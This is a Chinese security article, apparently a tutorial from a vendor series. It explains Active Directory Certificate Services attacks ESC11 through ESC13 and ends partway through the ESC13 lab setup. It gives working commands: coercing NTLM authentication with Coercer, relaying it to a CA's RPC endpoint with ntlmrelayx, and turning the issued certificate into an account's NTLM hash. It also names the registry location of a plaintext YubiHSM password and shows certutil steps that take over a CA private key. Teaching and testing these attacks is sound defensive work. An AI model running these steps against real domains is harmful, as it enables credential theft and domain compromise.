NetStar出品 | 一本关于“ADCS”最通俗的技术读物Part IV：ESC11-13-安全资讯-看雪-安全社区|安全招聘|kanxue.com

NetStar出品 | 一本关于“ADCS”最通俗的技术读物Part IV：ESC11-13

发表于: 2024-7-15 12:02 1960

NetStar出品 | 一本关于“ADCS”最通俗的技术读物Part IV：ESC11-13

中安网星

2024-7-15 12:02

1960

Previously on “ADCS知识点全收录，如何利用证书服务器对域控进行多角度攻击。”

2023年，我们通过“集权系列”技术分享，洞察集权安全本质，分享欢乐，共同成长。

玩技术，因热爱而执着，希望与你一起邂逅科技浪漫。

Active Directory证书服务（ADCS）提供了一个集中式系统，用于在Active Directory环境中管理 PKI（公钥基础结构），这些证书可用于各种功能，例如签署网站证书、电子邮件，甚至域身份验证。

在之前文章中，我们讲解了关于ESC1-10的错误配置问题所导致的漏洞，这篇文章主要分享ESC11-13。

ESC11

通过RPC中继到AD证书服务

要了解ESC11漏洞的含义，我们先回顾一下ESC8的问题。

ESC8——

攻击者可以触发域控制器强制认证，触发域控到攻击主机的NTLM认证。然后可以将域控制器的 NTLM凭据中继到Active Directory证书服务（AD CS）Web 注册页面，并且可以注册DC证书。此证书可用于请求TGT并通过Pass-The-Ticket破坏整个域。

其中证书可以通过以下的几种方式注册：

• 通过Windows客户端证书注册协议（MS-WCCE）

• 通过ICertPassage远程协议（MS-ICPR）

• 在ADCS开启了对应Web服务的情况下，使用Web服务注册

• 在服务器安装了对应服务时，通过证书注册服务（CES）注册

• 在服务器安装了对应服务时，使用网络设备注册服务

而ESC8就是利用Web证书注册页面支持NTLM认证，并且没有启用任何NTLM Relay保护措施所利用的，ESC11是一个类似的漏洞，其利用MS-ICPR协议 CertServerRequest函数中的 IF_ENFORCEENCRYPTICERTREQUEST 属性的配置问题从而进行利用。

在证书颁发机构上如果禁用该 IF_ENFORCEENCRYPTICERTREQUEST，其允许向证书服务器上的RPC端点发出未加密的ICERT请求，这只是正常请求证书的另一种方法，但与ESC8不同的是他并不是HTTP，需要注意的是，此标志在Windows Server 2012及更高版本上默认设置。但是，由于它破坏了Windows XP客户端的证书注册，所以我们可能会看到这样的环境，并且可以通过Certipy轻松的检测。

在机器上禁用该设置：

certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST
Restart-Service certsvc

使用 Certipy 检测

certipy find -vulnerable -u liurui@caicai.com -p 'Aa@123..' -dc-ip 192.168.50.135

这意味着IF_ENFORCEENCRYPTICERTREQUEST设置为disabled ，因此可以进行中继。

通过强制服务器进行中继

我们可以通过强制域中的计算机与我们的中继服务器通信，这将迫使它们尝试使用其NTLM凭据进行身份验证，为此，我们可以使用Coercer，它循环使用各种强制方法，以强制远程计算机向服务器执行身份验证请求。

python3 Coercer.py coerce -t 192.168.3.34 -u A001 -p 'Abc123..' -d mumu.com -l 192.168.50.66

接下来我们将使用Sploutchy的Impacket分支来设置我们的NTLM中继服务器。

ntlmrelayx.py -t rpc://192.168.3.36 -rpc-mode ICPR -icpr-ca-name WIN-3F43J9RM0S3 -smb2suppor

此命令以易受攻击的CA为目标，并尝试将流量中继到 192.168.3.36的RPC端点，我们可以在另一个终端中运行强制程序，以强制目标向中继服务器进行身份验证。

当受害者连接（不限于SMB）到攻击者机器时，被中继到证书颁发机构，并通过ICPR请求证书，最后攻击者现在拥有有效证书，进而可以在域中冒充受害者。

后面将base64编码的证书保存到文件中，然后将其解码为PFX，然后使用它从域控制器请求帐户的NTLM哈希。

cat wkstn01.b64.pfx | base64 -d > wkstn01.pfx
certipy auth -pfx wkstn01.pfx -dc-ip 192.168.3.36

从而得到目标计算机帐户的NTLM哈希。

ECS12

使用YubiHSM对ADCS CA的Shell访问

管理员可以设置证书颁发机构将其存储在“Yubico YubiHSM2”等外部设备上。

如果USB设备通过USB端口连接到CA服务器，或者如果 CA服务器是虚拟机，则需要USB设备服务器，密钥存储提供商需要身份验证密钥才能在YubiHSM中生成和使用密钥。

此密钥/密码以明文形式存储在注册表。

HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword

如果YubiHSM通过USB设备服务器连接到CA服务器，并且攻击者对此USB设备服务器具有足够的管理访问权限，他可能会滥用该权限将YubiHSM连接到其控制下的计算机，通过本地或网络访问CA服务器，他可以读取明文AuthKeysetPassword并在自己服务器的注册表中配置此密钥/密码以访问CA密钥。

另一种滥用本地或网络CA服务器访问的方法不需要滥用 USB设备服务器，并且应该更难检测到，即以非特权用户身份直接在CA服务器上访问CA密钥。

假设攻击者以非特权用户身份登录到CA服务器。然后，他可以获得CA证书作为证书文件（简单，至少在整个 AD中是公开的），并将其作为自己的证书导入到CA服务器上的用户配置文件证书存储中。

certutil -addstore -user my

接下来，将证书与其在YubiHSM2中的私钥相关联。

certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my

之后就可以将CA证书及其私钥作为自己的访问权限进行操作。

ESC13

滥用ADCS进行权限提升

ESC13是关于滥用可分配给证书模板的颁发策略的配置问题。颁发策略是一种证书扩展，仅当用户可以出示具有给定颁发策略的证书时，才可用于授予对系统的访问权限。如果在证书模板的扩展选项卡中定义了颁发策略，它将存储在AD对象中，作为属性中的 ObjectIdentifier（OID）。颁发策略存储在CN=OID、CN=Public Key Services、CN=Services、CN=Configuration、DC=labs、DC=org 中，并具有一个可以将组链接到策略的属性，只有当组为空且组范围为通用时，才能链接该组，通过ESC13攻击者可以提升权限，具体取决于配置，在以下示例中，该组称为 ESC13Group并有权访问域控制器Odin.labs.org上的共享secret_tools，msPKI-Certificate-Policy msDS-OIDToGroupLink。

• 用户对证书模板具有注册权限

• 证书模板没有颁发要求，例如经理批准，这是无法满足的

• 该证书包含可用于身份验证的EKU EKU公司

• 证书模板具有颁发策略扩展

• 发布策略具有指向某个群组的群组链接

满足上面条件时就会存在ESC13配置问题。

环境搭建

首先我们新建一个普通用户，确保它没有加入任何其他组。

然后创建一个通用组，组内没有任何用户。

为了验证权限，我们为这个组设置对域内DCSync的权限。

接着，在ADCS终端中输入certsrv.msc，打开证书颁发机构，在证书模板这里右键管理打开证书模板控制台，我们可以直接复制现有的模板来创建新的漏洞模板。我们右键工作组身份验证选择复制模板，修改模板名称，在拓展这里双击颁发策略，点击添加，可以选择现有的颁发策略，也可以直接新建颁发策略，新建时填写名称即可。